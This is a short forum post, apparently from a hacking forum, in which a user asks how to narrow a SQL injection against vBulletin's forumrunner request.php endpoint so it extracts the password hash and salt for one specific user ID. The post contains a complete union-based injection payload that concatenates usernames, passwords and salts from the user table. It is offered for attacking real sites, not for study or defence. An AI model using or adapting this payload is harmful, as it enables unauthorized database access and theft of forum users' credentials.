How to obtain a specified userid column?

[crypto-maniac]

Hello , for some reason Vbully does not fetch all the pass/salt from user table , i got only around 500 row

how can i modify the sql query to obtain the salt/pass (method 2) for a specified userid instead to gather all row

'/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10-- -',

thanks you very much